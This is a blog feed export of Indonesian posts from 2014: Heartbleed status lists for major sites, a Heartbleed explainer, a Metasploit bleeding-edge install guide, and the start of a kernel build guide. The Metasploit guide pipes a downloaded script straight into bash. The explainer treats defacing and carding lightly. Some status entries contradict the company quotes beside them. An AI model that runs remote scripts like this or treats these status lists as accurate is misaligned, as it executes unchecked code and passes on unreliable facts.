Patch: <span style="color: lime;"><b>Available</b></span><br />
Change Password: <b><span style="color: lime;">No need</span></b><br />
Confirmation from Amazon: <i>"Amazon.com is not affected."</i><br />
<br />
<b><a href="https://www.google.com/">Google</a></b><br />
Status: <b><span style="color: red;">Affected</span></b><br />
Patch: <b><span style="color: lime;">Available</span></b><br />
Change Password: <b><span style="color: red;">Must</span></b><br />
Confirmation from Google: <i>"We have assessed the SSL vulnerability and applied patches to key Google services." <b><span style="color: red;">Search, Gmail, YouTube, Wallet, Play, Apps and App Engine</span></b> were affected; <b><span style="color: lime;">Google Chrome and Chrome OS</span></b> were not. Google said users do not need to change their passwords, but because of the previous vulnerability, better safe than sorry.</i><br />
<br />
<b><a href="http://www.microsoft.com/en-us/default.aspx">Microsoft</a></b><br />
Status: <b><span style="color: lime;">Clear</span></b><br />
Patch: <b><span style="color: lime;">Available</span></b><br />
Change Password: <b><span style="color: lime;">No need</span></b><br />
Confirmation from Microsoft: <i>Microsoft services were not running OpenSSL, according to LastPass.</i><br />
<br />
<b><a href="https://www.yahoo.com/">Yahoo</a></b><br />
Status: <b><span style="color: red;">Affected</span></b><br />
Patch: <b><span style="color: lime;">Available</span></b><br />
Change Password: <b><span style="color: red;">Must</span></b><br />
Confirmation from Yahoo: <i>"As soon as we became aware of the issue, we began working to fix it... and we are working to implement the fix across the rest of our sites right now." <b><span style="color: red;">Yahoo Homepage, Yahoo Search, Yahoo Mail, Yahoo Finance, Yahoo Sports, Yahoo Food, Yahoo Tech, Flickr and Tumblr</span></b> were patched. More patches to come, Yahoo says.</i><br />
<br />
Wait! There's even more! Your MAIL! Coming soon! Share this please!Anonymoushttp://www.blogger.com/profile/17924684978470747147noreply@blogger.com0tag:blogger.com,1999:blog-4322924474312123143.post-18223979323568991962014-04-11T15:34:00.000+07:002014-04-11T15:34:31.493+07:00Heartbleed All Mighty: "We Fucked Up Your Social Website"Baca informasi mengenai Heartbleed All Mighty: Massive Security Bug In OpenSSL di <a href="http://double-dragon.blogspot.com/2014/04/heartbleed-all-mighty-massive-security.html">sini</a>. Langkah selanjutnya? Well, kita cari tau mengenai situs apa saja yang terjangkit bug heartbleed.<br />
<br />
Follow me!<br />
<br />
<a name='more'></a><br /><br />
<a href="https://www.facebook.com/"><b>Facebook</b></a><br />
Apakah situs ini terjangkit: <b><span style="color: yellow;">Belum jelas</span></b><br />
Apakah ada patch: <b><span style="color: lime;">Ya</span></b><br />
Haruskah saya mengganti password: <b><span style="color: red;">Ya</span><span style="color: lime;"> </span></b><br />
Konfimasi dari Facebook: <i>"We added protections for Facebook’s implementation of OpenSSL before this issue was publicly disclosed. We haven’t detected any signs of suspicious account activity, but we encourage people to set up a unique password."</i><br />
<br />
<b><a href="http://instagram.com/">Instagram</a></b><br />
Apakah situs ini terjangkit: <span style="color: red;"><b>Ya</b></span><br />
Apakah ada patch: <span style="color: lime;"><b>Ya</b></span><br />
Haruskah saya mengganti password: <b><span style="color: red;">Ya</span></b><br />
Konfirmasi dari Instagram: <i>"Our security teams worked quickly on a fix and we have no evidence of any accounts being harmed. But because this event impacted many services across the web, we recommend you update your password on Instagram and other sites, particularly if you use the same password on multiple sites."</i><br />
<br />
<b><a href="https://www.linkedin.com/">LinkedIn</a></b><br />
Apakah situs ini terjangkit: <b><span style="color: red;">Ya</span></b><br />
Apakah ada patch: <span style="color: lime;"><b>Ya</b></span><br />
Haruskah saya mengganti password: <b><span style="color: red;">Ya</span></b><br />
Konfirmasi dari LinkedIn: <i>"We didn't use the offending implementation of OpenSSL in www.linkedin.com or www.slideshare.net. As a result, HeartBleed does not present a risk to these web properties."</i><br />
<br />
<b><a href="https://www.pinterest.com/">Pinterest</a></b><br />
Apakah situs ini terjangkit: <b><span style="color: red;">Ya</span></b><br />
Apakah ada patch: <span style="color: lime;">Ya</span><br />
Haruskah saya mengganti password: <span style="color: red;"><b>Ya</b></span><br />
Konfirmasi dari Pinterest: <i>"We fixed the issue on Pinterest.com, and didn’t find any evidence of mischief. To be extra careful, we e-mailed Pinners who may have been impacted, and encouraged them to change their passwords."</i><br />
<br />
<b><a href="https://www.tumblr.com/">Tumblr</a></b><br />
Apakah situs ini terjangkit: <b><span style="color: red;">Ya</span></b><br />
Apakah ada patch: <b><span style="color: lime;">Ya</span></b><br />
Haruskah saya mengganti password: <b><span style="color: red;">Ya</span></b><br />
Konfirmasi dari Tumblr: <i>"We have no evidence of any breach and, like most networks, our team took immediate action to fix the issue."</i><br />
<br />
<b><a href="https://www.twitter.com/">Twitter</a></b><br />
Apakah situs ini terjangkit: <b><span style="color: lime;">Tidak</span></b><br />
Apakah ada patch: <b><span style="color: lime;">Ya</span></b><br />
Haruskah saya mengganti password: <b><span style="color: yellow;">Belum jelas</span></b><br />
Konfirmasi dari Twitter: <i>Twitter wrote that OpenSSL "is widely used across the internet and at Twitter. We were able to determine that [our] servers were not affected by this vulnerability. We are continuing to monitor the situation." While reiterating that they were unaffected, Twitter told Mashable that they did apply a patch.</i><br />
<br />
Now you know that you've been fucked up all of this time, right! LOL! Share this please!<br />
<br />Anonymoushttp://www.blogger.com/profile/17924684978470747147noreply@blogger.com0tag:blogger.com,1999:blog-4322924474312123143.post-50924450758472719882014-04-11T15:10:00.001+07:002014-04-11T15:11:37.740+07:00Heartbleed All Mighty: Massive Security Bug In OpenSSL<blockquote class="tr_bq">
Lu udah denger berita bug heartbleed ngga?</blockquote>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-hlRzCqXI63U/U0eUXyRKEYI/AAAAAAAABPA/oT_A8yN32DQ/s1600/heartbleed.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-hlRzCqXI63U/U0eUXyRKEYI/AAAAAAAABPA/oT_A8yN32DQ/s1600/heartbleed.jpeg" height="320" width="264" /></a></div>
<br />
Itu pertanyaan yang diberikan oleh <a href="https://www.facebook.com/KrisanAlfa.T">Krisan Alfa</a> (kakak saudara kembar saya) hari Rabu pagi kemarin (9 April 2014) . Awalnya saya setengah ngga percaya, ini kan library cryptography yang dipakai oleh kebanyakan situs. Kalo ini benar-benar nyata, WE ARE DOOMED! Sebut saja, credit card, email, akun jejaring sosial, akun chat, dll. Peduli setan kamu pakai VPN atau HTTPS protocol, YOUR ACCOUNT MIGHT HAVE BEEN COMPROMISED!<br />
<br />
Penasaran? Ikuti ulasan dari saya selengkapnya.<br />
<a name='more'></a>Kamu mungkin belum pernah mendengar istilah <a href="https://www.openssl.org/">OpenSSL</a>, tapi sebenarnya dia sudah menjadi bagian dari kehidupan sosial di dunia maya kamu selama ini. Tugas utama OpenSSL adalah meng-enkripsi data yang dikirim dari <span style="background-color: black; color: lime;">server -> client</span>, dan dari <span style="background-color: black; color: lime;">client -> server</span> untuk menghindari leaked data just in case koneksi kamu di intercepted oleh pelaku MITM.<br />
<br />
<b><br /></b>
<b>Heartbleed?</b><br />
OpenSSL memiliki ekstensi yang bernama Heartbeat (RCF6520). Jika ekstensi ini berhasil dieksploit, maka data dari <span style="background-color: black; color: lime;">server -> client</span>, dan dari <span style="background-color: black; color: lime;">client -> server </span>dapat dibongkar dan diketahui.<br />
<br />
<b><br /></b>
<b>Apa istimewanya?</b><br />
Sebuah bug pada software dapat diperbaiki pada versi berikutnya, namun OpenSSL memiliki cerita yang berbeda. Bug ini berhasil membongkar private key yang dimiliki oleh kebanyakan server yang menggunakan OpenSSL, artinya penyebaran ini memiliki skala massive. Selain itu, penyerangan terhadap bug ini TIDAK meninggalkan jejak, dan kelemahan ini SANGAT MUDAH DISERANG.<br />
<br />
<b><br /></b>
<b>Data apa?</b><br />
Anything! Password, isi pesan singkat, foto, url, dokumen penting suatu perusahaan, email, aktivitas di dunia maya kamu, dll. Apapun yang kamu lakukan pada URL https dapat dieksploitasi. BEWARE!<br />
<br />
<b><br /></b>
<b>Bagaimana cara menghentikan ini?</b><br />
Untungnya para developer telah memperbaiki bug ini. Versi OpenSSL yang kebal dengan bug heartbleed telah <a href="https://www.openssl.org/news/secadv_20140407.txt">dirilis</a>.<br />
<br />
<b><br /></b>
<b>Apakah saya terpengaruh bug ini?</b><br />
Sebut saja, situs jejaring social kamu, situs email kamu, situs perusahaan, negara, forum, game center, situs jual beli, situs berita. Banyak sekali dari mereka yang mengadopsi OpenSSL sebagai cryptography library mereka (kita tidak tau cryptography library yaing mereka pakai, tapi OpenSSL sangat banyak dipakai oleh kebanyakan situs web).<br />
<br />
<b><br /></b>
<b>Seberapa luas penyebaran bug ini?</b><br />
OpenSSL digunakan pada aplikasi web server seperti <a href="http://httpd.apache.org/">Apache</a> dan <a href="http://wiki.nginx.org/Main">NginX</a>. 66% situs di dunia menggunakan dua program ini sebagai aplikasi web server mereka (<a href="http://news.netcraft.com/archives/2014/04/02/april-2014-web-server-survey.html">sumber</a>). Lebih jauh lagi OpenSSL juga digunakan untuk mengamankan komunikasi data email server, chat server, VPN, dll.<br />
<br />
<b>Versi berapa yang memiliki kelemahan heartbleed?</b><br />
<br />
<ul>
<li>OpenSSL 0.9.8 tidak memiliki kelemahan heartbleed</li>
<li>OpenSSL 1.0.0 tidak memiliki kelemahan heartbleed</li>
<li>OpenSSL 1.0.1g tidak memiliki kelemahan heartbleed</li>
<li>OpenSSL 1.0.1 - 1.0.1f memiliki kelemahan ini</li>
</ul>
<div>
Contoh versi OpenSSL yang memiliki kelemahan heartbleed</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-KHdJsn1E2Bg/U0ecFHsvHDI/AAAAAAAABPQ/mQJ4u3_WQ9E/s1600/Screenshot+from+2014-04-11+14:37:58.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-KHdJsn1E2Bg/U0ecFHsvHDI/AAAAAAAABPQ/mQJ4u3_WQ9E/s1600/Screenshot+from+2014-04-11+14:37:58.png" height="197" width="320" /></a></div>
<div>
<br /></div>
<div>
<b>Bagaimana dengan OS yang digunakan?</b></div>
<div>
Beberapa OS yang didistribusikan yang berpotensi memiliki bug heartbleed adalah</div>
<br />
<div>
<ul>
<li>Debian Wheezy (stable), OpenSSL 1.0.1e-2+deb7u4</li>
<li>Ubuntu 12.04.4 LTS, OpenSSL 1.0.1-4ubuntu5.11</li>
<li>CentOS 6.5, OpenSSL 1.0.1e-15</li>
<li>Fedora 18, OpenSSL 1.0.1e-4</li>
<li>OpenBSD 5.3 (OpenSSL 1.0.1c 10 May 2012) and 5.4 (OpenSSL 1.0.1c 10 May 2012)</li>
<li>FreeBSD 10.0 - OpenSSL 1.0.1e 11 Feb 2013</li>
<li>NetBSD 5.0.2 (OpenSSL 1.0.1e)</li>
<li>OpenSUSE 12.2 (OpenSSL 1.0.1c)</li>
</ul>
<div>
Dan OS yang tidak memiliki bug heartbleed adalah</div>
</div>
<div>
<div>
<ul>
<li>Debian Squeeze (oldstable), OpenSSL 0.9.8o-4squeeze14</li>
<li>SUSE Linux Enterprise Server</li>
<li>FreeBSD 8.4 - OpenSSL 0.9.8y 5 Feb 2013</li>
<li>FreeBSD 9.2 - OpenSSL 0.9.8y 5 Feb 2013</li>
<li>FreeBSD Ports - OpenSSL 1.0.1g (At 7 Apr 21:46:40 2014 UTC)</li>
</ul>
<div>
<b><br /></b></div>
<div>
<b>Saya menggunakan versi yang memiliki bug ini, lalu bagaimana?</b></div>
<div>
Kamu bisa menginstall OpenSSL versi 1.0.1g atau kembali mengompile source OpenSSL yang sekarang anda gunakan dengan opsi <span style="background-color: #f9f2f4; color: #c7254e; font-family: Menlo, Monaco, Consolas, 'Courier New', monospace; font-size: 18px; line-height: 25.71428680419922px; white-space: nowrap;">-DOPENSSL_NO_HEARTBEATS</span> untuk menghapus handshake dari source code.</div>
</div>
</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<b>Bisakah saya mengetahui jika ada yang meretas koneksi TLS saya?</b></div>
<div>
Tidak, penyerangan terhadap bug ini tidak akan meninggalkan jejak apapun.</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<b>Siapa yang menemukan bug heartbleed?</b></div>
<div>
Tiga orang dari <a href="http://www.codenomicon.com/">Codenomicon</a> yaitu Karjalainen, Riku Hietamaki, Matti Kamunen serta seseorang dari Google Security bernama Neel Mehta (Neeh Mehta bekerja terpisah dari codenomicon) berhasil mengembangkan bug ini sampai di titik kritis.</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<b>Conclusion</b></div>
<div>
Seperti ini seharusnya peretasan! Ketika kebanyakan hacker-hacker berlomba-lomba meretas situs, dan beramai-ramai mematikan server. Beberapa orang yang TIDAK memilih untuk menjadi 4l4y (sedikit-sedikit mempublish hasil kejahatan cyber yang dilakukan), melakukan riset untuk menemukan bug ini. Just so you know, HEARTBLEED ADALAH BUG TERBURUK DAN TERBESAR SEPANJANG SEJARAH INTERNET! Not SQLi anymore, not MITM anymore! Jadi apa yang akan kalian lakukan setelah ini? Masih berkemelut dengan SQLi? Defacing? Carding? Tidak apa. Itu pilihan kamu. Mark this words. Deface dan Carding mungkin bisa meningkatkan reputasi Anda. Tapi itu tidak setara dengan reputasi developer bug heartbleed. Perhatikan "karya" anda selama ini. Satu juta situs telah di-deface? Ribuan dollars hasil carding? Kemudian lihat effect heartbleed saat ini!</div>
<div>
<br /></div>
<div>
Informasi mengenai "HOW HEARTBLEED WORKS IN REALTIME", dan tutorial "HOW TO LAUNCH HEARTBLEED ATTACK" akan di post beberapa saat lagi. Kedua post ini akan menyadarkan kamu betapa parahnya effects yang ditimbulkan oleh heartbleed.</div>
<div>
<br /></div>
<div>
Artikel ini bermanfaat untuk kamu? Share! Memiliki komentar dan pertanyaan? Post below!</div>
<div>
<br /></div>
<div>
Writer</div>
<div>
<a href="https://www.facebook.com/omega.hanggara">red-dragon</a></div>
Anonymoushttp://www.blogger.com/profile/17924684978470747147noreply@blogger.com0tag:blogger.com,1999:blog-4322924474312123143.post-66411523305128523222014-03-14T16:48:00.001+07:002014-03-14T16:48:18.873+07:00[HOW TO] Installing Metasploit Bleeding EdgeIni yang saya suka dari <i>Open Source Project</i>. Banyak yang ikutan berkontribusi untuk memajukan <i>project</i> ini. <i>Metasploit</i> salah satunya. Karena saya lebih suka menggunakan versi <i>bleeding edge</i>, jadi saya memilih untuk menginstall <i>metasploit</i> melalui <i>GitHub Source</i>.<br />
<br />
<b>NOTE :</b><br />
1. Karena versi ini adalah versi <i>bleeding edge</i>, kamu akan menemukan beberapa <i>bug</i> (ini wajar)<br />
2. Sebagai pengguna versi <i>bleeding edge</i>, kamu diharapkan dapat berkontribusi pada <i>project</i> yang bersangkutan (cukup <i>report bug</i> pada para <i>develope</i>r sudah sangat membantu mereka)<br />
3. Jika kamu sudah memiliki <i>metasploit</i>, ada baiknya kamu menghapus total dari system kamu, ini dapat meringankan beban kerja system dari sisi <i>memory usage</i>, <i>CPU usage</i>, dan <i>storage usage</i>.<br />
4. Kamu akan mendapatkan <i>guide</i> berupa command line:<br />
a. Tanda "#" menunjukan bahwa perintah ini harus dijalankan DENGAN <i>ROOT privilege</i><br />
b. Tanda "$" menunjukan bahwa perintah ini TIDAK memerlukan <i>ROOT privilege</i><br />
5. Kecepatan proses installasi akan sangat bergantung pada kecepatan internet kamu, jadi kalau kamu punya kecepatan internet yang pas-pasan, jangan mengeluh kalau nanti proses intallasinya lambat<br />
6. Saya sudah menginstall <i>metasploit bleeding edge</i> sebelum saya membuat panduan ini, beberapa panduan tidak akan disertakan <i>screenshot</i>, terpikir oleh saya untuk memulainya dari awal, karena keterbatasan internet, jadi saya rasa itu bukan pilihan yang bijak. Itu mengapa saya tidak menyertakan banyak <i>screenshot</i> di sini.<br />
<br />
<b>WARNING :</b><br />
1. Guide ini dibuat berdasarkan pengalaman saya sendiri, dan semuanya berfungsi dengan baik. Jika cara ini tidak berhasil, mohon cek kembali langkah yang telah kamu lakukan. Jika Kamu yakin kamu benar, harap berikan komentar di bawah, saya AKAN membantu masalah kamu.<br />
2. Saya tidak bertanggung jawab atas segala kerusakan yang diakibatkan dari panduan ini. <b>DO WITH YOUR OWN RISK! YOU'VE BEEN FUCKING WARNED!</b><br />
<br />
<b>PREPARATION :</b><br />
<br />
<a name='more'></a>1. Installasi GIT dan dependencies untuk metasploit bleeding edge<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="box-sizing: border-box; font-family: 'Courier New', Courier, monospace;"># apt-get update</span></pre>
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="box-sizing: border-box; font-family: 'Courier New', Courier, monospace;"># sudo apt-get -y install \
build-essential zlib1g zlib1g-dev \
libxml2 libxml2-dev libxslt-dev locate \
libreadline6-dev libcurl4-openssl-dev git-core \
libssl-dev libyaml-dev openssl autoconf libtool \
ncurses-dev bison curl wget postgresql \
postgresql-contrib libpq-dev \
libapr1 libaprutil1 libsvn1 \
libpcap-dev git-core ruby1.9.3</span></pre>
<br />
2. Buat folder baru untuk Metasploit Bleeding Edge<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="box-sizing: border-box; font-family: 'Courier New', Courier, monospace;">$ mkdir ~/Applications</span></pre>
<br />
3. Ubah working directory ke ~/Applications<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="box-sizing: border-box; font-family: 'Courier New', Courier, monospace;">$ cd ~/Applications</span></pre>
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="box-sizing: border-box; font-family: 'Courier New', Courier, monospace;">[~/Applications] $</span></pre>
<br />
4. Clone metasploit project dari GitHub<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="box-sizing: border-box; font-family: 'Courier New', Courier, monospace;">[~/Applications] $ git clone https://github.com/rapid7/metasploit-framework.git</span></pre>
<br />
<br />
<b>INSTALLING METASPLOIT BLEEDING EDGE :</b><br />
<br />
1. Install Ruby RVM<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="box-sizing: border-box; font-family: 'Courier New', Courier, monospace;">[~/Applications] $ curl -L https://get.rvm.io | bash -s stable --autolibs=enabled --ruby=1.9.3</span></pre>
<br />
2. Load RVM scripts<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="box-sizing: border-box; font-family: 'Courier New', Courier, monospace;">[~/Applications] $ source ~/.rvm/scripts/rvm</span></pre>
<br />
3. Check GEM version<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="box-sizing: border-box; font-family: 'Courier New', Courier, monospace;"><span style="color: #858585;">[~/Applications] $ gem -v
</span><b><span style="color: lime;">1.8.23</span></b></span></pre>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-IgaGT5HhCAs/UyLNbhyA19I/AAAAAAAAAso/mGo-dcEw1fg/s1600/Screenshot+from+2014-03-14+16:35:33.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-IgaGT5HhCAs/UyLNbhyA19I/AAAAAAAAAso/mGo-dcEw1fg/s1600/Screenshot+from+2014-03-14+16:35:33.png" height="181" width="320" /></a></div>
<br />
Jika versi kamu 1.8.23, maka kamu bisa melanjutkan ke langkah berikutnya<br />
<br />
4. Installing Dependecies for Metasploit Bleeding Edge<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="box-sizing: border-box; font-family: 'Courier New', Courier, monospace;">[~/Applications] $ cd metasploit</span></pre>
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="box-sizing: border-box; font-family: 'Courier New', Courier, monospace;">[~/Applications/metasploit] $ gem install bundler</span></pre>
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="box-sizing: border-box; font-family: 'Courier New', Courier, monospace;">[~/Applications/metasploit] $ bundle install</span></pre>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-rMZUupMPFnQ/UyLNSka39XI/AAAAAAAAAsg/qZjVJhXfXQE/s1600/Screenshot+from+2014-03-14+16:34:47.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-rMZUupMPFnQ/UyLNSka39XI/AAAAAAAAAsg/qZjVJhXfXQE/s1600/Screenshot+from+2014-03-14+16:34:47.png" height="181" width="320" /></a></div>
<br />
<br />
5. Check apakah metasploit dapat berjalan<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="box-sizing: border-box; font-family: 'Courier New', Courier, monospace;">[~/Applications/metasploit] $ ./msfconsole</span></pre>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-gF6rkTs0deo/UyLNmPUslTI/AAAAAAAAAsw/C3nFAFHjdDk/s1600/Screenshot+from+2014-03-14+16:36:13.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-gF6rkTs0deo/UyLNmPUslTI/AAAAAAAAAsw/C3nFAFHjdDk/s1600/Screenshot+from+2014-03-14+16:36:13.png" height="320" width="277" /></a></div>
<br />
6. Configuring $PATH for msf<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="box-sizing: border-box; font-family: 'Courier New', Courier, monospace;">[~/Applications/metasploit] $ echo "PATH=\$PATH:~/Applications/metasploit" >> ~.profile</span></pre>
<br />
7. Last check<br />
Tutup terminal, kemudian buka terminal lagi.<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="box-sizing: border-box; font-family: 'Courier New', Courier, monospace;">$ msfco [TAB]</span></pre>
<br />
Jika hasilnya<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="box-sizing: border-box; font-family: 'Courier New', Courier, monospace;">$ msfconsole</span></pre>
<br />
Check kembali dengan perintah<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="box-sizing: border-box; font-family: 'Courier New', Courier, monospace;">$ which msfconsole</span></pre>
<br />
Jika hasilnya<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="font-family: Courier New, Courier, monospace;">/home/YOUR_USERNAME/Applications/metasploit/msfconsole</span></pre>
atau<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="font-family: Courier New, Courier, monospace;">/root/Applications/metasploit/msfconsole</span></pre>
<br />
SELAMAT! Kamu sudah memiliki METASPLOIT BLEEDING EDGE!<br />
<br />
Jangan lupa, kamu harus selalu update dengan versi bledding edge ini, karena versinya bleeding edge, progress project akan sangat cepat. Hampir setiap hari update! Untuk mengupdate metasploit bleeding edge kamu, cukup masukan perintah<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="box-sizing: border-box; font-family: 'Courier New', Courier, monospace;">$ msfupdate</span></pre>
atau<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="box-sizing: border-box; font-family: 'Courier New', Courier, monospace;">$ ./$HOME/Applications/metasploit/msfupdate</span></pre>
<br />
<div style="text-align: center;">
<b><span style="background-color: black; color: red; font-family: Courier New, Courier, monospace;">IT'S OK TO COPY THIS ARTICLE, BUT MAKE SURE TO GIVE THE SOURCE. I'VE MADE THIS BY MY OWN HAND, MY OWN TIME, MY OWN MIND, SO IF YOU LIKE MY WORKS, YOU CAN APPRECIATE IT BY INCLUDING THE SOURCE ON YOUR ARTICLE</span></b></div>
<div style="text-align: center;">
<b><span style="background-color: black; color: red; font-family: Courier New, Courier, monospace;"><br /></span></b></div>
<div style="text-align: center;">
<b><span style="background-color: black; color: red; font-family: Courier New, Courier, monospace;">NGGA PA PA KALO KAMU MAU MENGKOPI ARTIKEL INI, TAPI PASTIKAN KAMU MEMBERIKAN SUMBERNYA. SAYA TELAH MEMBUAT INI DENGAN TANGAN SAYA SENDIRI, DENGAN WAKTU SAYA SENDIRI, DAN DENGAN PIKIRAN SAYA SENDIRI, JADI KALO KAMU SUKA DENGAN HASIL KERJA SAYA, KAMU BISA MENGHARGAINYA DENGAN MENYERTAKAN SUMBERNYA DI ARTIKEL KAMU</span></b></div>
<br />
<div style="text-align: center;">
<b><span style="color: red;">HAPPY EXPLOITING WITH NEW BLEEDING EDGE OF METASPLOIT!</span></b></div>
<br />Anonymoushttp://www.blogger.com/profile/17924684978470747147noreply@blogger.com1tag:blogger.com,1999:blog-4322924474312123143.post-4652125689581130932014-03-13T20:36:00.000+07:002014-03-13T21:15:43.723+07:00[HOW TO] Build Linux Kernel From SourceBosan dengan kernel yang disediakan oleh repository? Ada baiknya kamu mencoba membangun kernel kamu sendiri dari sumbernya. Cukup mudah, yang terpenting adalah kesabaran, karena membangun kernel sendiri membutuhkan waktu yang tidak singkat. Tapi tenang saja, ikuti langkah langkah berikut, maka bisa dipastikan kamu akan berhasil dalam membangun kernel secara mandiri.<br />
<br />
<b>NOTE :</b><br />
1. Kernel yang berhasil dibangun, hanya akan dapat digunakan pada system kamu. Kernel tidak dapat digunakan pada OS, distro, dan mesin (PC / Laptop) lain<br />
2. Tutorial ini dibuat berdasarkan pengalaman saya, jika ada perbedaan system, dan distro antara yang saya pakai dan yang kamu pakai, ada kemungkinan tutorial ini tidak berjalan mulus!<br />
3. Tanda "#" menunjukkan bahwa perintah yang harus dijalankan dengan ROOT privileges!<br />
4. Tanda "$" menunjukkan bahwa perintah dapat dijalankan tanpa ROOT privileges!<br />
<br />
<b>DISCLAIMER :</b><br />
1. Menggunakan custom kernel dapat membuat system failure yang berujung pada kernel panic, tidak berfungsinya beberapa driver (VGA, Driver Card, Sound Card, etc).<br />
2. Saya tidak bertanggung jawab apabila hal-hal buruk terjadi pada system kamu! Saya juga tidak bertanggung jawab jika tutorial ini mengakibatkan system menjadi lebih lambat, kernel panic, driver failure, system failure, bencana alam, dan datangnya hari kiamat.<br />
<br />
<a name='more'></a><b>PREPARATION :</b><br />
1. Pastikan kamu sudah menginstall beberapa aplikasi ini sebagai pendukung<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="box-sizing: border-box; font-family: 'Courier New', Courier, monospace;"># apt-get update</span></pre>
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="box-sizing: border-box; font-size: 15px; line-height: 16.5px;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"># apt-get install -f module-assistant build-essential</span></span></pre>
<br />
2. Buat folder khusus untuk membangun kernel, kita akan bermain bersih dan rapih di sini<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="box-sizing: border-box; font-family: 'Courier New', Courier, monospace;">$ mkdir ~/kernelbuild</span></pre>
<br />
3. Download kernel versi terakhir yang sudah masuk tahap <i>stable</i> (stabil). Dan simpan pada directory ~/kernelbuild<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="box-sizing: border-box; font-family: 'Courier New', Courier, monospace;">$ cd ~/kernelbuild</span></pre>
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="box-sizing: border-box; font-family: 'Courier New', Courier, monospace;">[~/kernelbuild] $ wget https://www.kernel.org/pub/linux/kernel/v3.x/linux-3.13.6.tar.xz</span></pre>
<br />
